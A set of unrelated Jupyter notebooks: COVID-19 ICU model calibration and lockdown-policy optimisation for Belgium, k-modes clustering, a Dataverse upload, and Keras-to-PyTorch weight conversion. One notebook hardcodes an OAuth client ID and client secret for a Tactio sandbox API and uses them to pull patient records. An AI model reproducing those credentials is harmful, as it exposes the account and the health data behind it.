$\chi$ using the ICU vs. time data from Belgium. To model the effect of Belgian government policy, we construct an artificial interaction matrix $N_{\text{c, total}}$ of the following form,
#
# \begin{equation}
# N_{\text{c, total}} = N_{\text{c, home}} + (1-x_s)*N_{\text{c, schools}} + \chi*(1-x_w)*N_{\text{c, work}} + \chi*(1-x_o)*N_{\text{c, others}}.
# \end{equation}
#
# In this equation, the total interaction matrix is a linear combination of the four individual contributions, $N_{\text{c, home}}$, $N_{\text{c, schools}}$, $N_{\text{c, work}}$ and $N_{\text{c, others}}$. In the above equation $x_s$ represents the reduction of contacts on schools. Since schools are closed, $x_s = 1$ and the contribution of $N_{\text{c, schools}}$ drops out of the equation. Note there is no social distancing parameter at home or in school. This is done on purpose because it is impossible to practice social distancing at home and it is highly unlikely that social distancing measures are effective at schools. $x_w$ represents the reduction of contacts at work and is obtained using the Google Covid 19 Community Mobility Report. From the report it can be seen that the fraction of people working at home gradually lowered from 0 to 52% during the week of Monday March 16th (week of announcement government measures). $x_o$ is the fractional reduction of all other contacts and is also estimated using the Google Covid 19 Community Mobility Report. The report shows an 85% decrease for places like restaurants, cafes, shopping centers, theme parks, museums, libraries, and movie theaters. A 53% reduction in grocery markets, food warehouses, farmers markets, specialty food shops, drug stores, and pharmacies. A 66% reduction for places like national parks, public beaches, marinas, dog parks, plazas, and public gardens. And finally a 76% reduction for places like public transport hubs such as subway, bus, and train stations. To obtain an exact number for $x_o$, one would need to know the contribution of each percentage to the total amount of interactions. However, since this data is unavailable we use the average value, $x_o = 0.70$.
#
# Instead of considering step-wise changes of $\chi$, $x_w$ and $x_o$, we assume a two week transition period in which:
#
# - The fraction of people working at home, $x_w$, changes linearly from 0.00 to 0.52 over the course of March 17th untill March 27th. The assumption that transitioning took approximately one to two weeks is backed up by the Google Covid 19 Community Report (see work related mobility stats below).
# - The reduction in other contacts, $x_o$, changes from 0.00 to 0.35 on March 15th, and then changes to 0.70 on March 17th. This is done because all restaurants, cinemas, bars, etc. instantly closed on March 15th. On March 17th, all non essential shops were closed too. A more abrupt change in leasure activities is also backed up by the Google Covid 19 Community Report (see retail related mobility stats below).
# - The hardest part of modeling the transition period is the gradual increase of public obedience for social distancing measures. It is relatively straightforward to assume that a mentality change in a population as whole is a gradual rather than a stepwise change. We model public obedience as follows: we discretise a two week transition period in 5 intervals, with 4 changes of the social distancing parameters $\chi$. We then use the available data to calibrate the gradual increase in social distancing. Calibration was difficult, so a brute-force approach, rather than a genetic algorithm, was used for the optimisation.
#
# <img src="workGoogleReport.png"
# alt="workGoogleReport"
# height="180" width="500"
# style="float: left; margin-right: 500px;" />
#
# <img src="retailGoogleReport.png"
# alt="retailGoogleReport"
# height="180" width="500"
# style="float: left; margin-right: 500px;" />
# https://www.google.com/covid19/mobility/
# #### Calibration with a genetic algorithm: DOES NOT WORK WELL
# +
# -------------------------------
# Parameters of fitting algorithm
# -------------------------------
monteCarlo = True
n_samples = 500
maxiter=30
popsize=30
polish=True
disp = True
bounds=[(0.9,1),(0,1),(0,1),(0,1),(0,1)]
data=np.transpose(ICUvect[:,0:])
data = np.append(data,np.ones(3)*data[-1])
data = np.reshape(data,[data.size,1])
method = 'socialInteraction'
modelType = 'deterministic'
fitTo = np.array([8]) #positions in output of runSimulation that must be added together
# -----------
# Perform fit
# -----------
# chis = cH.modelFit(bounds,data,fitTo,initN,Nc,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,theta_R,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,monteCarlo,n_samples,method,modelType,checkpoints,disp,polish,maxiter,popsize)
# print(chis)
# -
# #### Rather use brute-force approach
# +
monteCarlo = True
n_samples = 5
data=np.transpose(ICUvect[:,0:])
data = np.append(data,np.ones(5)*data[-1])
data = np.reshape(data,[data.size,1])
x1 = np.linspace(0.05,1,4)
x2 = np.linspace(0.05,1,4)
x3 = np.linspace(0.05,1,4)
x4 = np.linspace(0.05,1,4)
# monte-carlo sampling
sigma = cH.sampleFromDistribution('corona_incubatie.csv',n_samples)
dcf = np.random.normal(18.5, 5.2, n_samples)
dcr = np.random.normal(22.0, 5.2, n_samples)
sm = np.random.normal(0.86, 0.04/1.96, n_samples)
m = (1-sm)*0.81
h = (1-sm)*0.14
c = (1-sm)*0.05
dhospital = np.random.normal(9.10, 0.50/1.96, n_samples)
# no monte-carlo sampling
# sigma = 5.2
# dcf = 18.5
# dcr = 22.0
# sm = 0.86
# m = (1-sm)*0.81
# h = (1-sm)*0.14
# c = (1-sm)*0.05
# dhospital = 9.1
stoArgs = None
method = 'socialInteraction'
SSE = np.zeros((x1.size,x2.size,x3.size,x4.size))
for i in range(x1.size):
for j in range(x2.size):
for k in range(x3.size):
for l in range(x4.size):
thetas=np.array([x1[i],x2[j],x3[k],x4[l]])
checkpoints={
't': [26,29,29+5,29+10,29+15],
'Nc': [Nc_all-Nc_schools,
Nc_home + thetas[0]*(1-0.20)*Nc_work + thetas[0]*(1-0.70)*Nc_others,
Nc_home + thetas[1]*(1-0.40)*Nc_work + thetas[1]*(1-0.70)*Nc_others,
Nc_home + thetas[2]*(1-0.52)*Nc_work + thetas[2]*(1-0.70)*Nc_others,
Nc_home + thetas[3]*(1-0.52)*Nc_work + thetas[3]*(1-0.70)*Nc_others]
}
SSE[i,j,k,l] = cH.LSQ(thetas,data,fitTo,
initN,sigma,Nc,zeta,sm,m,h,c,dsm,dm,dhospital,dh,
dcf,dcr,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,theta_R,
psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,monteCarlo,method,
modelType,checkpoints,stoArgs)
print(np.where(SSE == SSE.min()))
sol=SSE.min()
print(sol)
# -
# #### Visualise fit
# +
# Load the fitted parameters
Nc=Nc_all
beta = estimate[0]
extraTime = estimate[1]
# inital condition
initN = initN
initE = np.ones(Nc.shape[0])
initSM = np.zeros(Nc.shape[0])
initM = np.zeros(Nc.shape[0])
initH = np.zeros(Nc.shape[0])
initC = np.zeros(Nc.shape[0])
initHH = np.zeros(Nc.shape[0])
initCH = np.zeros(Nc.shape[0])
initR = np.zeros(Nc.shape[0])
initF = np.zeros(Nc.shape[0])
initSQ = np.zeros(Nc.shape[0])
initEQ = np.zeros(Nc.shape[0])
initSMQ = np.zeros(Nc.shape[0])
initMQ = np.zeros(Nc.shape[0])
initRQ = np.zeros(Nc.shape[0])
# --------------
# Run simulation
# --------------
method='none'
simtime = 80
#chis=np.array([1,0.34,0.34,0.01]) #werkt goed
chis=np.array([1,0.68,0.34,0.02])
checkpoints={
't': [26,29,29+5,29+10,29+15],
'Nc': [Nc_all-Nc_schools,
Nc_home + chis[0]*(1-0.20)*Nc_work + chis[0]*(1-0.70)*Nc_others,
Nc_home + chis[1]*(1-0.40)*Nc_work + chis[1]*(1-0.70)*Nc_others,
Nc_home + chis[2]*(1-0.52)*Nc_work + chis[2]*(1-0.70)*Nc_others,
Nc_home + chis[3]*(1-0.52)*Nc_work + chis[3]*(1-0.70)*Nc_others]
}
monteCarlo=True
n_samples=200
simout = cH.simModel(initN,beta,Nc,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,
theta_R,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM, initM, initH, initC,
initHH,initCH,initR,initF,initSQ,initEQ,initSMQ,initMQ,initRQ,simtime,monteCarlo,
n_samples,method,modelType,checkpoints)
# +
# -----------
# Plot result
# -----------
t=pd.date_range('2020-03-13', freq='D', periods=ICUvect.size)
tacc=pd.date_range('2020-03-13', freq='D', periods=simtime+1)-datetime.timedelta(days=int(extraTime)-1)
fig=plt.figure(1)
plt.figure(figsize=(6,4),dpi=100)
plt.scatter(t,data_belgie.iloc[:,1],color="black",marker="v")
plt.plot(tacc,np.mean(simout['CH'],axis=1),'--',color="orange")
plt.fill_between(tacc,np.percentile(simout['CH'],95,axis=1),
np.percentile(simout['CH'],5,axis=1),color="orange",alpha=0.2)
plt.legend(('ICU (model)','ICU (data)'),loc='upper left')
plt.xlim(pd.to_datetime(tacc[25]),pd.to_datetime(tacc[-20]))
plt.title('Belgium',{'fontsize':18})
plt.gca().xaxis.set_major_locator(mdates.DayLocator())
#plt.gca().xaxis.set_minor_locator(mdates.DayLocator())
plt.gca().xaxis.set_major_formatter(matplotlib.dates.DateFormatter('%d-%m-%Y'))
plt.setp(plt.gca().xaxis.get_majorticklabels(),
'rotation', 90)
plt.ylabel('number of patients')
plt.savefig('belgiumICUfit.svg',dpi=100,bbox_inches='tight')
# -
# ## Controller
# #### Messing around
modelType = 'deterministic'
method = 'none'
monteCarlo = False
n_samples=1000
# initE = np.ones(16)*100
# initN = initN
period = 7
P = 8
N = 6
discrete=True
ICU = 1000
# +
# inital condition
initN = initN
initE = np.ones(Nc.shape[0])*np.mean(simout['E'],axis=1)[-1]/16
initSM = np.ones(Nc.shape[0])*np.mean(simout['SM'],axis=1)[-1]/16
initM = np.ones(Nc.shape[0])*np.mean(simout['M'],axis=1)[-1]/16
initH = np.ones(Nc.shape[0])*np.mean(simout['H'],axis=1)[-1]/16
initC = np.ones(Nc.shape[0])*np.mean(simout['C'],axis=1)[-1]/16
initHH = np.ones(Nc.shape[0])*np.mean(simout['HH'],axis=1)[-1]/16
initCH = np.ones(Nc.shape[0])*np.mean(simout['CH'],axis=1)[-1]/16
initR = np.ones(Nc.shape[0])*np.mean(simout['R'],axis=1)[-1]/16
initF = np.ones(Nc.shape[0])*np.mean(simout['F'],axis=1)[-1]/16
initSQ = np.ones(Nc.shape[0])*np.mean(simout['SQ'],axis=1)[-1]/16
initEQ = np.ones(Nc.shape[0])*np.mean(simout['EQ'],axis=1)[-1]/16
initSMQ = np.ones(Nc.shape[0])*np.mean(simout['SMQ'],axis=1)[-1]/16
initMQ = np.ones(Nc.shape[0])*np.mean(simout['MQ'],axis=1)[-1]/16
initRQ = np.ones(Nc.shape[0])*np.mean(simout['RQ'],axis=1)[-1]/16
polish=True
disp = True
maxiter = 80
popsize = 15
policy,thetas = cH.MPCoptimizeAge(initN,beta,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,theta_R,
psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM, initM, initH, initC,initHH,initCH,initR,initF,initSQ,
initEQ,initSMQ,initMQ,initRQ,simtime,monteCarlo,n_samples,method,modelType,discrete,
period,P,N,disp,polish,maxiter,popsize)
print(policy,thetas)
# -
checkpoints = cH.constructHorizonAge(policy,period)
policyVect = cH.constructHorizonPlot(thetas,period)
simtime = len(policy)*period
# --------------
# Run simulation
# --------------
monteCarlo=True
n_samples=200
Nc = Nc_home + 0.01*(1-0.52)*Nc_work + 0.01*(1-0.70)*Nc_others # Eerste checkpoint is maar na 7 dagen
simout = cH.simModel(initN,beta,Nc,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,
theta_R,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM, initM, initH, initC,
initHH,initCH,initR,initF,initSQ,initEQ,initSMQ,initMQ,initRQ,simtime,monteCarlo,
n_samples,method,modelType,checkpoints)
# +
# -----------
# Plot result
# -----------
t = simout['t']
I = simout['SM']+ simout['M'] + simout['H'] + simout['C'] + simout['HH'] + simout['CH']
plt.figure(1)
plt.plot(t,np.mean(simout['S'],axis=1),color="black")
plt.fill_between(t, np.percentile(simout['S'],90,axis=1), np.percentile(simout['S'],10,axis=1),color="black",alpha=0.2)
plt.plot(t,np.mean(simout['E'],axis=1),color="blue")
plt.fill_between(t, np.percentile(simout['E'],90,axis=1), np.percentile(simout['E'],10,axis=1),color="blue",alpha=0.2)
plt.plot(t,np.mean(I,axis=1),color="red")
plt.fill_between(t, np.percentile(I,90,axis=1), np.percentile(I,10,axis=1),color="red",alpha=0.2)
plt.plot(t,np.mean(simout['R'],axis=1),color="green")
plt.fill_between(t, np.percentile(simout['R'],90,axis=1), np.percentile(simout['R'],10,axis=1),color="green",alpha=0.2)
plt.legend(('susceptible','exposed','total infected','immune'))
plt.xlabel('days')
plt.ylabel('number of patients')
plt.figure(2)
plt.plot(t,np.mean(simout['CH'],axis=1),color="red")
plt.fill_between(t, np.percentile(simout['CH'],90,axis=1), np.percentile(simout['CH'],10,axis=1),color="red",alpha=0.2)
plt.plot(t,np.ones([t.size])*ICU,'--',color="red")
plt.legend(('critical patients','ICU capacity'))
plt.xlabel('days')
plt.ylabel('number of patients')
ax2 = plt.twinx()
plt.plot(t[:-1],policyVect[:-1],'--',color='black')
ax2.set_ylabel("Daily random social interactions")
# -
monteCarlo = False
ICU=1000
P = 7
period = 7
x1 = np.linspace(1,3,3)
x2 = np.linspace(1,3,3)
x3 = np.linspace(1,3,3)
x4 = np.linspace(1,3,3)
x5 = np.linspace(1,3,3)
x6 = np.linspace(1,3,3)
SSE = np.zeros((x1.size,x2.size,x3.size,x4.size,x5.size,x6.size))
for i in range(x1.size):
for j in range(x2.size):
for k in range(x3.size):
for l in range(x4.size):
for m in range(x5.size):
for n in range(x6.size):
thetas=np.array([x1[i],x2[j],x3[k],x4[l],x5[m],x6[n]])
SSE[i,j,k,l,m,n] = cH.MPCcalcWeightsAge(thetas,initN,beta,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,theta_R,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM, initM, initH, initC,
initHH,initCH,initR,initF,initSQ,initEQ,initSMQ,initMQ,initRQ,simtime,monteCarlo,n_samples,method,modelType,discrete,period,P)
print(np.where(SSE == SSE.min()))
thetas0 = np.array([2,2,2,2,2,2])
Nappend = np.ones([N-thetas0.size])*thetas0[-1]
thetas0 = np.append(thetas0,Nappend)
thetas = scipy.optimize.fmin(cH.MPCcalcWeightsAge, thetas0, args=(initN,beta,zeta,dsm,dm,dhospital,dh,mc0,ICU,
theta_S,theta_E,theta_SM,theta_M,theta_R,psi_FP,
psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM,
initM,initH,initC,initHH,initCH,initR,initF,
initSQ,initEQ,initSMQ,initMQ,initRQ,simtime,
monteCarlo,n_samples,method,modelType,discrete,
period,P), xtol=0.0001, ftol=0.0001, maxiter=10,
maxfun=None, full_output=0, disp=1, retall=0,
callback=None)
print(thetas)
thetas=np.array([1,1,1,3,3,3])
Ncs=[]
for i in range(thetas.size):
if thetas[i]<=1 and thetas[i]>=0:
Ncs.append(Nc_all)
elif thetas[i]<=2 and thetas[i]> 1:
Ncs.append(Nc_home + Nc_schools + 0.01*(1-0.52)*Nc_work + 0.01*(1-0.70)*Nc_others)
elif thetas[i]<=3 and thetas[i]> 2:
Ncs.append(Nc_home + 0.01*(1-0.52)*Nc_work + 0.01*(1-0.70)*Nc_others)
checkpoints = cH.constructHorizonAge(Ncs,period)
policyVect = cH.constructHorizonPlot(thetas,period)
simtime = len(Ncs)*period
# --------------
# Run simulation
# --------------
simout = cH.simModel(initN,beta,Nc,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,
theta_R,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM, initM, initH, initC,
initHH,initCH,initR,initF,initSQ,initEQ,initSMQ,initMQ,initRQ,simtime,monteCarlo,
n_samples,method,modelType,checkpoints)
# +
# -----------
# Plot result
# -----------
t = simout['t']
I = simout['SM']+ simout['M'] + simout['H'] + simout['C'] + simout['HH'] + simout['CH']
plt.figure(1)
plt.plot(t,np.mean(simout['S'],axis=1),color="black")
plt.fill_between(t, np.percentile(simout['S'],90,axis=1), np.percentile(simout['S'],10,axis=1),color="black",alpha=0.2)
plt.plot(t,np.mean(simout['E'],axis=1),color="blue")
plt.fill_between(t, np.percentile(simout['E'],90,axis=1), np.percentile(simout['E'],10,axis=1),color="blue",alpha=0.2)
plt.plot(t,np.mean(I,axis=1),color="red")
plt.fill_between(t, np.percentile(I,90,axis=1), np.percentile(I,10,axis=1),color="red",alpha=0.2)
plt.plot(t,np.mean(simout['R'],axis=1),color="green")
plt.fill_between(t, np.percentile(simout['R'],90,axis=1), np.percentile(simout['R'],10,axis=1),color="green",alpha=0.2)
plt.legend(('susceptible','exposed','total infected','immune'))
plt.xlabel('days')
plt.ylabel('number of patients')
plt.figure(2)
plt.plot(t,np.mean(simout['CH'],axis=1),color="red")
plt.fill_between(t, np.percentile(simout['CH'],90,axis=1), np.percentile(simout['CH'],10,axis=1),color="red",alpha=0.2)
plt.plot(t,np.ones([t.size])*ICU,'--',color="red")
plt.legend(('critical patients','ICU capacity'))
plt.xlabel('days')
plt.ylabel('number of patients')
ax2 = plt.twinx()
plt.plot(t[:-1],policyVect[:-1],'--',color='black')
ax2.set_ylabel("Daily random social interactions")
# -
# #### Find the right initial condition
#
# Run Monte Carlo simulation until present day, then assume equal numbers in each age category.
# inital condition
initN = initN
initE = np.ones(Nc.shape[0])*np.mean(simout['E'],axis=1)[-1]/16
initSM = np.ones(Nc.shape[0])*np.mean(simout['SM'],axis=1)[-1]/16
initM = np.ones(Nc.shape[0])*np.mean(simout['M'],axis=1)[-1]/16
initH = np.ones(Nc.shape[0])*np.mean(simout['H'],axis=1)[-1]/16
initC = np.ones(Nc.shape[0])*np.mean(simout['C'],axis=1)[-1]/16
initHH = np.ones(Nc.shape[0])*np.mean(simout['HH'],axis=1)[-1]/16
initCH = np.ones(Nc.shape[0])*np.mean(simout['CH'],axis=1)[-1]/16
initR = np.ones(Nc.shape[0])*np.mean(simout['R'],axis=1)[-1]/16
initF = np.ones(Nc.shape[0])*np.mean(simout['F'],axis=1)[-1]/16
initSQ = np.ones(Nc.shape[0])*np.mean(simout['SQ'],axis=1)[-1]/16
initEQ = np.ones(Nc.shape[0])*np.mean(simout['EQ'],axis=1)[-1]/16
initSMQ = np.ones(Nc.shape[0])*np.mean(simout['SMQ'],axis=1)[-1]/16
initMQ = np.ones(Nc.shape[0])*np.mean(simout['MQ'],axis=1)[-1]/16
initRQ = np.ones(Nc.shape[0])*np.mean(simout['RQ'],axis=1)[-1]/16
# +
# Define some parameters
monteCarlo = False
n_samples=50
period = 7
P = 8
N = 4
discrete=True
ICU = 1200
# Perform brute force optimisation of horizon
x1 = np.linspace(1,3,3)
x2 = np.linspace(1,3,3)
x3 = np.linspace(1,3,3)
x4 = np.linspace(1,3,3)
x5 = np.linspace(1,3,3)
x6 = np.linspace(1,3,3)
SSE = np.zeros((x1.size,x2.size,x3.size,x4.size,x5.size,x6.size))
for i in range(x1.size):
for j in range(x2.size):
for k in range(x3.size):
for l in range(x4.size):
for m in range(x5.size):
for n in range(x6.size):
thetas=np.array([x1[i],x2[j],x3[k],x4[l],x5[m],x6[n]])
SSE[i,j,k,l,m,n] = cH.MPCcalcWeightsAge(thetas,initN,beta,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,theta_R,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM, initM, initH, initC,
initHH,initCH,initR,initF,initSQ,initEQ,initSMQ,initMQ,initRQ,simtime,monteCarlo,n_samples,method,modelType,discrete,period,P)
print(np.where(SSE == SSE.min()))
# -
thetas=np.array([1,1,2,1])
Ncs=[]
for i in range(thetas.size):
if thetas[i]<=1 and thetas[i]>=0:
Ncs.append(Nc_all)
elif thetas[i]<=2 and thetas[i]> 1:
Ncs.append(Nc_home + Nc_schools + 0.01*(1-0.52)*Nc_work + 0.01*(1-0.70)*Nc_others)
elif thetas[i]<=3 and thetas[i]> 2:
Ncs.append(Nc_home + 0.01*(1-0.52)*Nc_work + 0.01*(1-0.70)*Nc_others)
# +
checkpoints = cH.constructHorizonAge(Ncs,period)
Nc = Nc_home + Nc_schools + 0.01*(1-0.52)*Nc_work + 0.01*(1-0.70)*Nc_others # Eerste checkpoint is maar na 7 dagen
policyVect = cH.constructHorizonPlot(thetas,period)
simtime = len(Ncs)*period
monteCarlo=True
n_samples=600
# --------------
# Run simulation
# --------------
simout = cH.simModel(initN,beta,Nc,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,
theta_R,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM, initM, initH, initC,
initHH,initCH,initR,initF,initSQ,initEQ,initSMQ,initMQ,initRQ,simtime,monteCarlo,
n_samples,method,modelType,checkpoints)
# +
# -----------
# Plot result
# -----------
t = simout['t']
I = simout['SM']+ simout['M'] + simout['H'] + simout['C'] + simout['HH'] + simout['CH']
plt.figure(1)
plt.plot(t,np.mean(simout['S'],axis=1),color="black")
plt.fill_between(t, np.percentile(simout['S'],90,axis=1), np.percentile(simout['S'],10,axis=1),color="black",alpha=0.2)
plt.plot(t,np.mean(simout['E'],axis=1),color="blue")
plt.fill_between(t, np.percentile(simout['E'],90,axis=1), np.percentile(simout['E'],10,axis=1),color="blue",alpha=0.2)
plt.plot(t,np.mean(I,axis=1),color="red")
plt.fill_between(t, np.percentile(I,90,axis=1), np.percentile(I,10,axis=1),color="red",alpha=0.2)
plt.plot(t,np.mean(simout['R'],axis=1),color="green")
plt.fill_between(t, np.percentile(simout['R'],90,axis=1), np.percentile(simout['R'],10,axis=1),color="green",alpha=0.2)
plt.legend(('susceptible','exposed','total infected','immune'))
plt.xlabel('days')
plt.ylabel('number of patients')
plt.figure(2)
plt.plot(t,np.mean(simout['CH'],axis=1),color="red")
plt.fill_between(t, np.percentile(simout['CH'],90,axis=1), np.percentile(simout['CH'],10,axis=1),color="red",alpha=0.2)
plt.plot(t,np.ones([t.size])*ICU,'--',color="red")
plt.legend(('critical patients','ICU capacity'))
plt.xlabel('days')
plt.ylabel('number of patients')
ax2 = plt.twinx()
plt.plot(t[:-1],policyVect[:-1],'--',color='black')
ax2.set_ylabel("Daily random social interactions")
| src/[Experimental] Calibation of Age-Structured deterministic model (2).ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# ### Global Configuration
# **ccapi** introduces a global configuration object. You can configure all settings which will be respected while you use **ccapi**.
#
# You can get a configuration object in the following way:
import ccapi
config = ccapi.Configuration()
# The configuration object is a [singleton](https://en.wikipedia.org/wiki/Singleton_pattern). That means only one instance can exist and it is respected everywhere in **ccapi**.
# ##### URL
# By default, the base URL points to [Cell Collective](https://cellcollective.org). You can however, change the same as follows:
config.url = "http://localhost:5000"
# Now, when you attempt to create a client instance, it would attempt to use the value assigned to `config.url`.
client = ccapi.Client()
client
# Jupyter Notebook renders the `Configuration` object as follows:
config
| docs/source/notebooks/examples/global-configuration.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
import numpy as np
import pandas as pd
from scipy import stats
import random
df = pd.read_csv("agaricus-lepiota.data", sep=',', header=None)
print(df.isna().sum())
df.describe()
for colname in df[[11]]:
print("{} = {}".format(colname, len(df[colname].unique())))
#to deal with '?' we replace it with NaN
df = df.replace({'?':np.NaN})
print(df.isna().sum())
print(df[11].value_counts())
# +
#Now to deal with NaN we create a column to keep track of imputed variables and impute the variables with the mode of the values
#add new column and replace it with binary variables if null then 1 else 0
df["11_imputed"] = np.where(df[11].isnull(),1,0)
#Take mode in that vairable
Mode = df[11].mode()[0]
#Replace NaN values with mode in actual vairable
df[11].fillna(Mode,inplace=True)
# -
print(df.isna().sum())
print(df[11].value_counts())
#lets drop the class label as it should not be used in unsupervised learning algorithms
#lets drop the last column for now as we dont need it for our k-mode clustering
df2 = df.drop(columns=[0,'11_imputed'])
df2
def get_distance(x,c):
return np.sum(np.array(x) != np.array(c), axis = 0)
def random_clusters(k,n):
dup = np.array([])
while 1:
ranIndex = np.random.randint(low=0, high=n, size=k)
u, c = np.unique(ranIndex, return_counts=True)
dup = u[c > 1]
if dup.size == 0:
break
return ranIndex
def kmodes(dataset, NumberOfClusters):
n = len(dataset)
d = len(dataset.columns)
df_temp = dataset.to_numpy()
addZeros = np.zeros((n, 1))
df_temp = np.append(df_temp, addZeros, axis=1)
cluster = df_temp[random_clusters(NumberOfClusters,n)]
print("\n The initial cluster centers: \n", cluster , "\n\n")
cluster2 = []
for i in range(n):
minDist = 9999999
for j in range(NumberOfClusters):
dist = get_distance(cluster[j,0:d],df_temp[i,0:d])
if(dist < minDist):
minDist = dist
clusterNumber = j
df_temp[i,d] = clusterNumber
cluster[j,d] = clusterNumber
for j in range(NumberOfClusters):
result = np.where(df_temp[:,d] == j)
mode = stats.mode(df_temp[result])
cluster[j] = np.reshape(mode[0],(d+1))
while(np.any(cluster != cluster2)):
cluster2 = cluster
for i in range(n):
minDist = 9999999
for j in range(NumberOfClusters):
dist = get_distance(cluster[j,0:d],df_temp[i,0:d])
if(dist < minDist):
minDist = dist
clusterNumber = j
df_temp[i,d] = clusterNumber
cluster[j,d] = clusterNumber
for j in range(NumberOfClusters):
result = np.where(df_temp[:,d] == j)
mode = stats.mode(df_temp[result])
cluster[j] = np.reshape(mode[0],(d+1))
if np.array_equal(cluster,cluster2):
break
dataset3 = pd.DataFrame(df_temp)
return dataset3
cluster = kmodes(df2,20)
cluster = cluster.rename(columns ={22: "Cluster"} )
cluster
cluster.to_csv("cluster.csv",index=False)
| code/k-modes.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
import requests
import json
import os
token_url = 'https://sandbox86.tactiorpm7000.com/token.php'
token_request = {'grant_type' : 'password',
'client_id' : '083e9a44a763473fbeb62fbf90b74551',
'client_secret' : 'ba09798f0921456e8b4e5e4588ea536d',
'username' : 'tactioClinician',
'password' : '<PASSWORD>'}
token = requests.post(token_url, data=token_request)
token = json.loads(token.text)
api_url = 'https://sandbox86.tactiorpm7000.com/tactio-clinician-api/1.1.4/'
patients = requests.get(f'{api_url}/Patient', headers={'Authorization' : f'Bearer {token["access_token"]}'})
patients = json.loads(patients.text)
patients
| python/.ipynb_checkpoints/Retrieve_Data-checkpoint.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# Dataverse API Token
# https://dataverse.harvard.edu/dataverseuser.xhtml?selectTab=apiTokenTab
host = 'https://dataverse.harvard.edu'
token = '<<PASSWORD>>'
doi = 'doi:10.7910/DVN/WZGJBM'
from pyDataverse.api import Api
from pyDataverse.models import Dataverse
api = Api('https://dataverse.harvard.edu/', token)
api.status
resp = api.get_dataset(doi)
resp.json()
fn = '/opt/data2/in_rolls/in_rolls_state_year_fn_naampy_x1k.csv.gz'
resp = api.upload_file(doi, fn)
print(resp)
fn = '/opt/data2/in_rolls/in_rolls_state_year_fn_naampy_x100.csv.gz'
resp = api.upload_file(doi, fn)
print(resp)
| naampy/data/in_rolls/05_upload_naampy_dataverse.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3.6.11 64-bit
# language: python
# name: python361164bit3aacfbc5ce1d45a7860a65ab2586d2ee
# ---
from model import melody_ResNet
from model_torch import Melody_ResNet
import torch
import numpy as np
keras_model = melody_ResNet()
keras_model.load_weights('./weights/ResNet_NS.hdf5')
# + tags=[]
total_weights = []
for layer in keras_model.layers:
weights = layer.get_weights()
if weights != []:
total_weights.append({'name': layer.name, 'weights': weights })
# -
len(total_weights)
print([(i, x['name']) for i,x in enumerate(total_weights)])
# +
torch_model = Melody_ResNet()
for i in range(4):
block_weights = total_weights[i*8:(i+1)*8]
for j in range(4):
getattr(torch_model.block[i], f'conv{j+1}').conv.weight.data = torch.from_numpy(np.transpose(block_weights[j*2]['weights'][0], (3, 2, 0, 1)))
getattr(torch_model.block[i], f'conv{j+1}').bn.weight.data = torch.from_numpy(block_weights[j*2+1]['weights'][0])
getattr(torch_model.block[i], f'conv{j+1}').bn.bias.data = torch.from_numpy(block_weights[j*2+1]['weights'][1])
getattr(torch_model.block[i], f'conv{j+1}').bn.running_mean.data = torch.from_numpy(block_weights[j*2+1]['weights'][2])
getattr(torch_model.block[i], f'conv{j+1}').bn.running_var.data = torch.from_numpy(block_weights[j*2+1]['weights'][3])
lstm_weight_name = ['weight_ih_l0',
'weight_hh_l0',
'bias_ih_l0',
'bias_hh_l0',
'weight_ih_l0_reverse',
'weight_hh_l0_reverse',
'bias_ih_l0_reverse',
'bias_hh_l0_reverse']
keras_lstm_index = [0,1,2,2,3,4,5,5]
for i, name in enumerate(lstm_weight_name):
if i in (0,1,4,5):
getattr(torch_model.lstm, name).data = torch.from_numpy(np.transpose(total_weights[-2]['weights'][keras_lstm_index[i]]))
else:
weight = total_weights[-2]['weights'][keras_lstm_index[i]]
getattr(torch_model.lstm, name).data = torch.from_numpy(weight) / 2
torch_model.final.weight.data = torch.from_numpy(np.transpose(total_weights[-1]['weights'][0]))
torch_model.final.bias.data = torch.from_numpy(total_weights[-1]['weights'][1])
torch.save(torch_model.state_dict(), 'torch_weights.pt')
# -
np.transpose(total_weights[4]['weights'][0]).shape
state_dict['block.0.conv1.conv.weight'].shape
# +
# vars(torch_model.lstm)
# print([x.shape for x in total_weights[-2]['weights']])
# total_weights[-2]['weights'][0].shape
# lstm_weight_name
# +
